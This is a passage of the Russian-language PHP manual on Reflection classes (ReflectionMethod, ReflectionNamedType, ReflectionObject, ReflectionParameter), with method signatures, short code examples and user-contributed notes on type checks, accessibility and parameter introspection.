  • ReflectionMethod::isConstructor() - Проверяет, является ли метод конструктором

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли метод окончательным

  • « ReflectionMethod::isDestructor
  • ReflectionMethod::isPrivate »
  • PHP Manual
  • ReflectionMethod
  • Проверяет, является ли метод окончательным

ReflectionMethod::isFinal

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isFinal — Проверяет, является ли метод окончательным

Описание

public ReflectionMethod::isFinal(): bool

Проверяет, является ли метод окончательным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если метод окончательный, false в противном случае.

Смотрите также

  • ReflectionMethod::isStatic()

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли метод закрытым

  • « ReflectionMethod::isFinal
  • ReflectionMethod::isProtected »
  • PHP Manual
  • ReflectionMethod
  • Проверяет, является ли метод закрытым

ReflectionMethod::isPrivate

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isPrivate — Проверяет, является ли метод закрытым

Описание

public ReflectionMethod::isPrivate(): bool

Проверяет, является ли метод закрытым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если метод закрытый, false в противном случае.

Смотрите также

  • ReflectionMethod::isPublic() - Проверяет, является ли метод общедоступным

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли метод защищённым

  • « ReflectionMethod::isPrivate
  • ReflectionMethod::isPublic »
  • PHP Manual
  • ReflectionMethod
  • Проверяет, является ли метод защищённым

ReflectionMethod::isProtected

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isProtected — Проверяет, является ли метод защищённым

Описание

public ReflectionMethod::isProtected(): bool

Проверяет, является ли метод защищённым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если метод защищённый, false в противном случае.

Смотрите также

  • ReflectionMethod::isPrivate() - Проверяет, является ли метод закрытым

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли метод общедоступным

  • « ReflectionMethod::isProtected
  • ReflectionMethod::setAccessible »
  • PHP Manual
  • ReflectionMethod
  • Проверяет, является ли метод общедоступным

ReflectionMethod::isPublic

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isPublic — Проверяет, является ли метод общедоступным

Описание

public ReflectionMethod::isPublic(): bool

Проверяет, является ли метод общедоступным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если метод общедоступный, false в противном случае.

Смотрите также

  • ReflectionMethod::isPrivate() - Проверяет, является ли метод закрытым

User Contributed Notes

There are no user contributed notes for this page.


Делает метод доступным

  • « ReflectionMethod::isPublic
  • ReflectionMethod::__toString »
  • PHP Manual
  • ReflectionMethod
  • Делает метод доступным

ReflectionMethod::setAccessible

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

ReflectionMethod::setAccessible — Делает метод доступным

Описание

public ReflectionMethod::setAccessible(bool $accessible): void

Метод открывает доступ к защищённому или закрытому свойству методу ReflectionMethod::invoke().

Замечание: С PHP 8.1.0 вызов метода утратил смысл; методы доступны для вызова по умолчанию.

Список параметров

accessible

Значение true делает метод доступным, false — закрывает доступ к методу.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Определение простого класса

<?php

class MyClass
{
private function foo()
{
return 'bar';
}
}

$method = new ReflectionMethod("MyClass", "foo");
$method->setAccessible(true);

$obj = new MyClass();
echo $method->invoke($obj);
echo $obj->foo();

?>

Вывод приведённого примера будет похож на:

bar
Fatal error: Uncaught Error: Call to private method MyClass::foo() from global scope in /in/qdaZS:16

Смотрите также

  • ReflectionMethod::isPrivate() - Проверяет, является ли метод закрытым
  • ReflectionMethod::isProtected() - Проверяет, является ли метод защищённым

User Contributed Notes

dave1010 at gmail dot com 11-May-2011 03:21
This is handy for accessing private methods but remember that things are normally private for a reason! Unit Testing is one (debatable) use case for this.

Example:
<?php
class Foo {
  private function myPrivateMethod() {
    return 7;
  }
}

$method = new ReflectionMethod('Foo', 'myPrivateMethod');
$method->setAccessible(true);

echo $method->invoke(new Foo);
// echos "7"
?>

This works nicely with PHPUnit: http://php.net/manual/en/reflectionmethod.setaccessible.php


Возвращает строковое представление объекта ReflectionMethod

  • « ReflectionMethod::setAccessible
  • ReflectionNamedType »
  • PHP Manual
  • ReflectionMethod
  • Возвращает строковое представление объекта ReflectionMethod

ReflectionMethod::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::__toString — Возвращает строковое представление объекта ReflectionMethod

Описание

public ReflectionMethod::__toString(): string

Возвращает строковое представление объекта ReflectionMethod.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строковое представление объекта ReflectionMethod.

Примеры

Пример #1 Пример использования ReflectionMethod::__toString()

<?php
class HelloWorld {

public function sayHelloTo($name) {
return 'Привет, ' . $name;
}

}

$reflectionMethod = new ReflectionMethod(new HelloWorld(), 'sayHelloTo');
echo $reflectionMethod;
?>

Результат выполнения приведённого примера:

Method [ <user> public method sayHelloTo ] {
  @@ /var/www/examples/reflection.php 16 - 18

  - Parameters [1] {
    Parameter #0 [ <required> $name ]
  }
}

Смотрите также

  • ReflectionMethod::export() - Экспорт отражённого метода
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionNamedType

(PHP 7 >= 7.1.0, PHP 8)

Введение

Обзор классов

class ReflectionNamedType extends ReflectionType {
/* Методы */
public getName(): string
public isBuiltin(): bool
/* Наследуемые методы */
public ReflectionType::allowsNull(): bool
public ReflectionType::__toString(): string
}

Содержание

  • ReflectionNamedType::getName — Получает имя типа в виде строки
  • ReflectionNamedType::isBuiltin — Проверяет, является ли тип встроенным

User Contributed Notes

tuncdan dot ozdemir dot peng at gmail dot com 14-Feb-2024 11:55
Editor note: This behaviour is due to BC concerns with PHP 7, and will likely be fixed in PHP 9.

2024-02-14

PHP 8.3

interface AnyType {}
interface Type2 {}

function test (AnyType|null $param) {}

The ReflectionParameter will return ReflectionNamedType, NOT ReflectionUnionType (null is ignored basically).

However, function test (AnyType|Type2|null $param) {}

will return ReflectionUnionType with 3 types, NOT 2 (null is not ignored this time).

To me, this is just wrong and logical error in PHP.


Получает имя типа в виде строки

  • « ReflectionNamedType
  • ReflectionNamedType::isBuiltin »
  • PHP Manual
  • ReflectionNamedType
  • Получает имя типа в виде строки

ReflectionNamedType::getName

(PHP 7 >= 7.1.0, PHP 8)

ReflectionNamedType::getName — Получает имя типа в виде строки

Описание

public ReflectionNamedType::getName(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя отражаемого типа.

Смотрите также

  • ReflectionType::__toString() - Получает название типа параметра

User Contributed Notes

baptiste at pillot dot fr 08-Sep-2023 12:40
Possible values for type names are:

- The name of a class, interface, or trait,
- The name of any built-in type (php 8.2): array, bool, callable, float, int, null, object, string, false, iterable, mixed, never, true, void,
- The name of any relative class type: parent, self, static.


Проверяет, является ли тип встроенным

  • « ReflectionNamedType::getName
  • ReflectionObject »
  • PHP Manual
  • ReflectionNamedType
  • Проверяет, является ли тип встроенным

ReflectionNamedType::isBuiltin

(PHP 7, PHP 8)

ReflectionNamedType::isBuiltin — Проверяет, является ли тип встроенным

Описание

public ReflectionNamedType::isBuiltin(): bool

Проверяет, является ли тип встроенным типом PHP. Встроенный тип - любой тип, не являющийся классом, интерфейсом или трейтом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если тип встроенный, false в противном случае.

Примеры

Пример #1 Пример использования ReflectionNamedType::isBuiltin()

<?php
class SomeClass {}

function someFunction(string $param, SomeClass $param2, stdClass $param3) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->getType()->isBuiltin());
var_dump($reflectionParams[1]->getType()->isBuiltin());
var_dump($reflectionParams[2]->getType()->isBuiltin());

Результат выполнения приведённого примера:

bool(true)
bool(false)
bool(false)

Заметьте, что метод ReflectionNamedType::isBuiltin() не различает внутренние и пользовательские классы. Чтобы их различить, нужно использовать метод ReflectionClass::isInternal() для возвращаемого имени класса.

Смотрите также

  • ReflectionType::allowsNull() - Проверяет, допустим ли NULL
  • ReflectionType::__toString() - Получает название типа параметра
  • ReflectionClass::isInternal() - Проверяет, является ли класс встроенным в модуль или в ядро
  • ReflectionParameter::getType() - Получает тип параметра

User Contributed Notes

yarns_purport0n at icloud dot com 28-Mar-2022 11:44
built-in types () are:
- `array`
- `callable`
- `bool`
- `float`
- `int`
- `string`
- `iterable`
- `object`
- `mixed`

Note: tested from the list at https://php.net/language.types.declarations#language.types.declarations.base

`self` & `parent` are not included.
mndevel at gmail dot com 13-Mar-2021 10:16
I couldn't find a list of what qualifies as a builtin. Here is what I have so far:
string
float
bool
int
iterable (Iterator reflects as type iterable)
mixed
array

These do not qualify as builtins:
Closure
Stringable
Generator
Traversable
Serializable
Throwable
IteratorAggregate
ArrayAccess
WeakReference
JsonSerializeable


Класс ReflectionObject

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionObject сообщает информацию об объектах (object).

Обзор классов

class ReflectionObject extends ReflectionClass {
/* Наследуемые константы */
public const int ReflectionClass::IS_IMPLICIT_ABSTRACT;
public const int ReflectionClass::IS_EXPLICIT_ABSTRACT;
public const int ReflectionClass::IS_FINAL;
public const int ReflectionClass::IS_READONLY;
/* Наследуемые свойства */
public string $name;
/* Методы */
public __construct(object $object)
/* Наследуемые методы */
public static ReflectionClass::export(mixed $argument, bool $return = false): string
public ReflectionClass::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClass::getConstant(string $name): mixed
public ReflectionClass::getConstants(?int $filter = null): array
public ReflectionClass::getConstructor(): ?ReflectionMethod
public ReflectionClass::getDefaultProperties(): array
public ReflectionClass::getDocComment(): string|false
public ReflectionClass::getEndLine(): int|false
public ReflectionClass::getExtension(): ?ReflectionExtension
public ReflectionClass::getExtensionName(): string|false
public ReflectionClass::getFileName(): string|false
public ReflectionClass::getInterfaceNames(): array
public ReflectionClass::getInterfaces(): array
public ReflectionClass::getMethod(string $name): ReflectionMethod
public ReflectionClass::getMethods(?int $filter = null): array
public ReflectionClass::getModifiers(): int
public ReflectionClass::getName(): string
public ReflectionClass::getNamespaceName(): string
public ReflectionClass::getParentClass(): ReflectionClass|false
public ReflectionClass::getProperties(?int $filter = null): array
public ReflectionClass::getProperty(string $name): ReflectionProperty
public ReflectionClass::getReflectionConstant(string $name): ReflectionClassConstant|false
public ReflectionClass::getReflectionConstants(?int $filter = null): array
public ReflectionClass::getShortName(): string
public ReflectionClass::getStartLine(): int|false
public ReflectionClass::getStaticProperties(): array
public ReflectionClass::getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public ReflectionClass::getTraitAliases(): array
public ReflectionClass::getTraitNames(): array
public ReflectionClass::getTraits(): array
public ReflectionClass::hasConstant(string $name): bool
public ReflectionClass::hasMethod(string $name): bool
public ReflectionClass::hasProperty(string $name): bool
public ReflectionClass::implementsInterface(ReflectionClass|string $interface): bool
public ReflectionClass::inNamespace(): bool
public ReflectionClass::isAbstract(): bool
public ReflectionClass::isAnonymous(): bool
public ReflectionClass::isCloneable(): bool
public ReflectionClass::isEnum(): bool
public ReflectionClass::isFinal(): bool
public ReflectionClass::isInstance(object $object): bool
public ReflectionClass::isInstantiable(): bool
public ReflectionClass::isInterface(): bool
public ReflectionClass::isInternal(): bool
public ReflectionClass::isIterable(): bool
public ReflectionClass::isReadOnly(): bool
public ReflectionClass::isSubclassOf(ReflectionClass|string $class): bool
public ReflectionClass::isTrait(): bool
public ReflectionClass::isUserDefined(): bool
public ReflectionClass::newInstance(mixed ...$args): object
public ReflectionClass::newInstanceArgs(array $args = []): ?object
public ReflectionClass::newInstanceWithoutConstructor(): object
public ReflectionClass::setStaticPropertyValue(string $name, mixed $value): void
public ReflectionClass::__toString(): string
}

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionObject::export() был удалён.

Содержание

  • ReflectionObject::__construct — Конструктор класса ReflectionObject
  • ReflectionObject::export — Экспорт

User Contributed Notes

ccb_bc at hotmail dot com 21-May-2019 03:39
<?php
    class FullReflectionObject {

        /**
        * @var obj => $ReflectionObject = propriedade que representa o objeto $ReflectionObject
        * @var obj => $ReflectionProperty = propriedade que representa o objeto $ReflectionProperty
        * @var obj => $ReflectionMethod = propriedade que representa o objeto $ReflectionMethod
        * @var obj => $ReflectionParameter = propriedade que representa o objeto $ReflectionParameter
        * @var bol => $reflect_object = true se o metodo object() for invocado
        * @var bol => $reflect_property = true se o metodo property() for invocado
        * @var bol => $reflect_method = true se o metodo method() for invocado
        * @var bol => $reflect_parameter = true se o metodo parameter() for invocado
        */

        private $ReflectionObject;
        private $ReflectionProperty;
        private $ReflectionMethod;
        private $ReflectionParameter;
        private $reflect_object    = false;
        private $reflect_property  = false;
        private $reflect_method    = false;
        private $reflect_parameter = false;

        /**
        * @param obj => $object = objeto a ser refletido
        */
        public function object(object $object) : object {
            $this->reflect_object = true;
            $this->ReflectionObject = new \ReflectionObject($object);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual a properiedade ser refletida pertence
        * @param str => $property = nome da properiedade a ser refletida
        */
        public function property(string $class_name, string $property) : object {
            $this->reflect_property = true;
            $this->ReflectionProperty = new \ReflectionProperty($class_name, $property);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual o metodo ser refletido pertence
        * @param str => $method = nome do metodo a ser refletido
        */
        public function method(string $class_name, string $method) : object {
            $this->reflect_method = true;
            $this->ReflectionMethod = new \ReflectionMethod($class_name, $method);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual o parametro a ser refletido pertence
        * @param str => $method = nome do metodo o qual o parametro a ser refletido pertence
        * @param str => $parameter = nome do parametro a ser refletido
        */
        public function parameter(string $class_name, string $method, string $parameter) : object {
            $this->reflect_parameter = true;
            $this->ReflectionParameter = new \ReflectionParameter(array($class_name, $method), $parameter);
            return $this;
        }

        public function __call($methodName, $args){
            if($this->reflect_object){
                return call_user_func_array(array($this->ReflectionObject, $methodName), $args);
            }
            if($this->reflect_property){
                return call_user_func_array(array($this->ReflectionProperty, $methodName), $args);
            }
            if($this->reflect_method){
                return call_user_func_array(array($this->ReflectionMethod, $methodName), $args);
            }
            if($this->reflect_parameter){
                return call_user_func_array(array($this->ReflectionParameter, $methodName), $args);
            }
        }
    }

    // Digamos que voce tenha no seu projeto a classe Client do pacote Guzzle
    $FullReflectionObject = new FullReflectionObject;
    var_dump($FullReflectionObject->object(new GuzzleHttp\Client)->getMethods());
    var_dump($FullReflectionObject->property('GuzzleHttp\Client', 'config')->isPrivate());
    var_dump($FullReflectionObject->method('GuzzleHttp\Client', 'buildUri')->isPrivate());
    var_dump($FullReflectionObject->parameter('GuzzleHttp\Client', 'send', 'options')->getDefaultValue());
kuldipem at gmail dot com 17-Jun-2015 06:01
class a {
    const abc = 1;
    public function __get($key){
        $r = new ReflectionObject($this);
        if($r->hasConstant($key)){ return $r->getConstant($key); }
    }
}
class b {
    public function getA(){
        return new a();
    }
}
$b = new b();
var_dump($b->getA()::abc);
var_dump($b->getA()::def);
marcel dot nolte at noltecomputer dot de 02-Sep-2009 02:42
To simply enlist all methods and properties of an object simply write:

<?php ReflectionObject::export($yourObject); ?>

,which will cause an var_export-like output.


Конструктор класса ReflectionObject

  • « ReflectionObject
  • ReflectionObject::export »
  • PHP Manual
  • ReflectionObject
  • Конструктор класса ReflectionObject

ReflectionObject::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionObject::__construct — Конструктор класса ReflectionObject

Описание

public ReflectionObject::__construct(object $object)

Создаёт новый объект класса ReflectionObject.

Список параметров

object

Экземпляр объекта.

Смотрите также

  • ReflectionObject::export() - Экспорт
  • Конструкторы

User Contributed Notes

There are no user contributed notes for this page.


Экспорт

  • « ReflectionObject::__construct
  • ReflectionParameter »
  • PHP Manual
  • ReflectionObject
  • Экспорт

ReflectionObject::export

(PHP 5, PHP 7)

ReflectionObject::export — Экспорт

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionObject::export(string $argument, bool $return = ?): string

Экспортирует отражение (reflection).

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

argument

Название или объект класса для экспорта.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Если параметр return установлен в true, тогда экспортируемый объект будет возвращён как string, иначе будет возвращён null.

Смотрите также

  • ReflectionObject::__construct() - Конструктор класса ReflectionObject

User Contributed Notes

There are no user contributed notes for this page.


Класс ReflectionParameter

(PHP 5, PHP 7, PHP 8)

Введение

Класс ReflectionParameter сообщает информацию о параметрах методов и функций.

Чтобы иметь возможность исследовать аргументы функции, сначала создайте экземпляр класса ReflectionFunction либо ReflectionMethod, а затем используйте его метод ReflectionFunctionAbstract::getParameters() для получения массива аргументов.

Обзор классов

class ReflectionParameter implements Reflector {
/* Свойства */
public string $name;
/* Методы */
public __construct(string|array|object $function, int|string $param)
public allowsNull(): bool
public canBePassedByValue(): bool
private __clone(): void
public static export(string $function, string $parameter, bool $return = ?): string
public getAttributes(?string $name = null, int $flags = 0): array
public getClass(): ?ReflectionClass
public getDeclaringClass(): ?ReflectionClass
public getDeclaringFunction(): ReflectionFunctionAbstract
public getDefaultValue(): mixed
public getDefaultValueConstantName(): ?string
public getName(): string
public getPosition(): int
public getType(): ?ReflectionType
public hasType(): bool
public isArray(): bool
public isCallable(): bool
public isDefaultValueAvailable(): bool
public isDefaultValueConstant(): bool
public isOptional(): bool
public isPassedByReference(): bool
public isVariadic(): bool
public __toString(): string
}

Свойства

name

Имя аргумента. Доступно только для чтения и выбрасывает исключение ReflectionException при попытке записи.

Список изменений

Версия | Описание
8.0.0 | Метод ReflectionParameter::export() был удалён.

Содержание

  • ReflectionParameter::allowsNull — Проверяет, допустимо ли значение null для параметра
  • ReflectionParameter::canBePassedByValue — Проверяет, можно ли передать этот аргумент по значению
  • ReflectionParameter::__clone — Клонирует
  • ReflectionParameter::__construct — Конструктор
  • ReflectionParameter::export — Экспорт
  • ReflectionParameter::getAttributes — Получает атрибуты
  • ReflectionParameter::getClass — Получает объект ReflectionClass для отражаемого параметра или null
  • ReflectionParameter::getDeclaringClass — Получение объявляющего класса
  • ReflectionParameter::getDeclaringFunction — Получение объявляющей функции
  • ReflectionParameter::getDefaultValue — Получение значения по умолчанию для параметра
  • ReflectionParameter::getDefaultValueConstantName — Возвращает имя константы значения по умолчанию, если значение по умолчанию константа или null
  • ReflectionParameter::getName — Получение имени параметра
  • ReflectionParameter::getPosition — Получение позиции параметра
  • ReflectionParameter::getType — Получает тип параметра
  • ReflectionParameter::hasType — Проверяет, указали ли тип параметра
  • ReflectionParameter::isArray — Проверяет, ожидает ли аргумент массив в качестве значения
  • ReflectionParameter::isCallable — Определяет, должен ли параметр принадлежать типу callable
  • ReflectionParameter::isDefaultValueAvailable — Проверяет, доступно ли значение по умолчанию
  • ReflectionParameter::isDefaultValueConstant — Определяет, установили ли параметру константу как значение по умолчанию
  • ReflectionParameter::isOptional — Проверяет, является ли аргумент необязательным
  • ReflectionParameter::isPassedByReference — Проверяет, передан ли параметр по ссылке
  • ReflectionParameter::isVariadic — Проверяет вариативность параметра
  • ReflectionParameter::__toString — Преобразование в строку

User Contributed Notes

rasmus at mindplay dot dk 11-Oct-2023 10:55
There are so many parameter modes now, and I needed to know exactly what `ReflectionParameter` is going to return, so I wrote a little test-script - you can find the script and results in a table here:

https://gist.github.com/mindplay-dk/082458088988e32256a827f9b7491e17
fgm at riff dot org 11-May-2008 12:44
The note about the signature of the ReflectionParameter constructor is actually incomplete, at least in 5.2.5: it is possible to use an integer for the second parameter, and the constructor will use it to return the n-th parameter.

This allows you to obtain proper ReflectionParameter objects even when documenting code from extensions which (strangely enough) define several parameters with the same name. The string-based constructor always returns the first parameter with the matching name, whereas the integer-based constructor correctly returns the n-th parameter.

So, in short, this works:
<?php
// supposing the extension defined something like:
// Some_Class::someMethod($a, $x, $y, $x, $y)
$p = new ReflectionParameter(array('Some_Class', 'someMethod'), 4);
// returns the last parameter, whereas
$p = new ReflectionParameter(array('Some_Class', 'someMethod'), 'y');
// always returns the first $y at position 2
?>
killgecNOFSPAM at gmail dot com 25-Jul-2007 05:53
Signature of constructor of ReflectionParameter correctly is:

public function __construct(array/string $function, string $name);

where $function is either a name of a global function, or a class/method name pair.
massimo at mmware dot it 18-Jul-2007 08:58
I found these limitations using class ReflectionParameter from ReflectionFunction with INTERNAL FUNCTIONS (eg print_r, str_replace, ... ) :

1. parameter names don't match with manual: (try example 19.35 with arg "call_user_func" )
2. some functions (eg PCRE function, preg_match etc) have EMPTY parameter names
3. calling getDefaultValue on Parameters will result in Exception "Cannot determine default value for internal functions"


Проверяет, допустимо ли значение null для параметра

  • « ReflectionParameter
  • ReflectionParameter::canBePassedByValue »
  • PHP Manual
  • ReflectionParameter
  • Проверяет, допустимо ли значение null для параметра

ReflectionParameter::allowsNull

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::allowsNull — Проверяет, допустимо ли значение null для параметра

Описание

public ReflectionParameter::allowsNull(): bool

Проверяет, допустимо ли значение null для параметра.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если null допускается, false в противном случае.

Смотрите также

  • ReflectionParameter::isOptional() - Проверяет, является ли аргумент необязательным

User Contributed Notes

tuncdan dot ozdemir dot peng at gmail dot com 14-Feb-2024 09:55
Please note that `mixed` type parameter also returns true, as `null` is part of the `mixed` union.

And there does not have to be a default `null` value for `->allowsNull()` to return true.

function test (AnyType|null $param1, mixed $param2) {}

Both parameters from the function above will return true for `allowsNull()`.
Geoffrey LAURENT 05-May-2013 03:53
The allowsNull method look if arguments have a type.
If a type is defined, null is allowed only if default value is null.

 <?php
function myfunction ( $param ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";

?>

Result : true

<?php
function myfunction ( stdClass $param ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";

?>

Result : false

<?php
function myfunction ( stdClass $param = null ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";
?>

Result : true


Проверяет, можно ли передать этот аргумент по значению

  • « ReflectionParameter::allowsNull
  • ReflectionParameter::__clone »
  • PHP Manual
  • ReflectionParameter
  • Проверяет, можно ли передать этот аргумент по значению

ReflectionParameter::canBePassedByValue

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionParameter::canBePassedByValue — Проверяет, можно ли передать этот аргумент по значению

Описание

public ReflectionParameter::canBePassedByValue(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если передача аргумента по значению возможна, false, если нет. Возвращает null в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Клонирует

  • « ReflectionParameter::canBePassedByValue
  • ReflectionParameter::__construct »
  • PHP Manual
  • ReflectionParameter
  • Клонирует

ReflectionParameter::__clone

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::__clone — Клонирует

Описание

private ReflectionParameter::__clone(): void

Метод клонирует.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Список изменений

Версия | Описание
8.1.0 | Метод больше не окончательный (final).

Смотрите также

  • ReflectionParameter::toString()
  • Клонирование объектов

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « ReflectionParameter::__clone
  • ReflectionParameter::export »
  • PHP Manual
  • ReflectionParameter
  • Конструктор

ReflectionParameter::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::__construct — Конструктор

Описание

public ReflectionParameter::__construct(string|array|object $function, int|string $param)

Создаёт экземпляр ReflectionParameter.

Список параметров

function

Функция, параметр которой требуется отразить.

param

Либо целое число (int), указывающее позицию параметра (начиная с нуля), либо имя параметра в виде строки (string).

Примеры

Пример #1 Использования класса ReflectionParameter

<?php
function foo($a, $b, $c) { }
function bar(Exception $a, &$b, $c) { }
function baz(ReflectionFunction $a, $b = 1, $c = null) { }
function abc() { }

$reflect = new ReflectionFunction('foo');

echo $reflect;

foreach ($reflect->getParameters() as $i => $param) {
printf(
"-- Аргумент #%d: %s {\n".
" Класс: %s\n".
" Допускает значения NULL: %s\n".
" Передаётся по ссылке: %s\n".
" Необязательный?: %s\n".
"}\n",
$i, // можно использовать $param->getPosition()
$param->getName(),
var_export($param->getClass(), 1),
var_export($param->allowsNull(), 1),
var_export($param->isPassedByReference(), 1),
$param->isOptional() ? 'да' : 'нет'
);
}
?>

Вывод приведённого примера будет похож на:

Function [ <user> function foo ] {
  @@ /Users/philip/cvs/phpdoc/a 2 - 2

  - Parameters [3] {
    Parameter #0 [ <required> $a ]
    Parameter #1 [ <required> $b ]
    Parameter #2 [ <required> $c ]
  }
}
-- Аргумент #0: a {
   Класс: NULL
   Допускает значения NULL: true
   Передаётся по ссылке: false
   Необязательный?: нет
}
-- Аргумент #1: b {
   Класс: NULL
   Допускает значения NULL: true
   Передаётся по ссылке: false
   Необязательный?: нет
}
-- Аргумент #2: c {
   Класс: NULL
   Допускает значения NULL: true
   Передаётся по ссылке: false
   Необязательный?: нет
}

Смотрите также

  • ReflectionFunctionAbstract::getParameters() - Получает параметры
  • ReflectionFunction::__construct() - Конструктор класса ReflectionFunction
  • ReflectionMethod::__construct() - Конструктор класса ReflectionMethod
  • Конструкторы

User Contributed Notes

tracid2008 t gmail o com 06-Dec-2011 03:31
You also can use a class instead of a function name. Just use an array like that
<?php
$reflect = new ReflectionParameter(array('className', 'methodName'), 'property');
?>


Экспорт

  • « ReflectionParameter::__construct
  • ReflectionParameter::getAttributes »
  • PHP Manual
  • ReflectionParameter
  • Экспорт

ReflectionParameter::export

(PHP 5, PHP 7)

ReflectionParameter::export — Экспорт

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

public static ReflectionParameter::export(string $function, string $parameter, bool $return = ?): string

Экспорт.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

function

Имя функции.

parameter

Имя аргумента.

return

Метод вернёт значение экспорта, а не выведет его, если установить для параметра значение true. При значении по умолчанию — false метод сделает наоборот.

Возвращаемые значения

Экспорт отражения (reflection).

Смотрите также

  • ReflectionParameter::__toString() - Преобразование в строку

User Contributed Notes

There are no user contributed notes for this page.


Получает атрибуты

  • « ReflectionParameter::export
  • ReflectionParameter::getClass »
  • PHP Manual
  • ReflectionParameter
  • Получает атрибуты

ReflectionParameter::getAttributes

(PHP 8)

ReflectionParameter::getAttributes — Получает атрибуты

Описание

public ReflectionParameter::getAttributes(?string $name = null, int $flags = 0): array

Возвращает все атрибуты, объявленные в этом параметре, в виде массива ReflectionAttribute.

Список параметров

name

Параметр отфильтрует результаты, чтобы включить экземпляры отражений ReflectionAttribute только тех атрибутов, чьи имена совпадают с заданным именем класса.

flags

Флаги для определения способа фильтрации результатов, если указан параметр name.

По умолчанию значение 0, которое возвращает результаты только для атрибутов, которые относятся к классу name.

Единственное доступное значение — константа ReflectionAttribute::IS_INSTANCEOF, которая вместо этого будет использовать для фильтрации оператор instanceof.

Возвращаемые значения

Массив атрибутов в виде объекта ReflectionAttribute.

Примеры

Пример #1 Простой пример

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

function fruitBasket(
#[Fruit]
#[Red]
string $apple
) { }

$reflection = new ReflectionFunction('fruitBasket');
$parameter = $reflection->getParameter('apple');
$attributes = $parameter->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
    [1] => Red
)

Пример #2 Фильтрация результатов по имени класса

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

function fruitBasket(
#[Fruit]
#[Red]
string $apple
) { }

$reflection = new ReflectionFunction('fruitBasket');
$parameter = $reflection->getParameter('apple');
$attributes = $parameter->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Fruit
)

Пример #3 Фильтрация результатов по имени класса, с наследованием

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

function fruitBasket(
#[Fruit]
#[Red]
string $apple
) { }

$reflection = new ReflectionFunction('fruitBasket');
$parameter = $reflection->getParameter('apple');
$attributes = $parameter->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Red
)

Смотрите также

  • ReflectionClass::getAttributes() - Получает атрибуты
  • ReflectionClassConstant::getAttributes() - Получает атрибуты
  • ReflectionFunctionAbstract::getAttributes() - Получает атрибуты
  • ReflectionProperty::getAttributes() - Получает атрибуты

User Contributed Notes

There are no user contributed notes for this page.


Получает объект ReflectionClass для отражаемого параметра или null

  • « ReflectionParameter::getAttributes
  • ReflectionParameter::getDeclaringClass »
  • PHP Manual
  • ReflectionParameter
  • Получает объект ReflectionClass для отражаемого параметра или null

ReflectionParameter::getClass

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::getClass — Получает объект ReflectionClass для отражаемого параметра или null

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

public ReflectionParameter::getClass(): ?ReflectionClass

Получает объект ReflectionClass для отражаемого параметра или null.

Начиная с PHP 8.0.0 эта функция устарела и не рекомендуется. Вместо неё используйте ReflectionParameter::getType(), чтобы получить ReflectionType параметра, а затем опросите этот объект, чтобы определить тип параметра.

Внимание

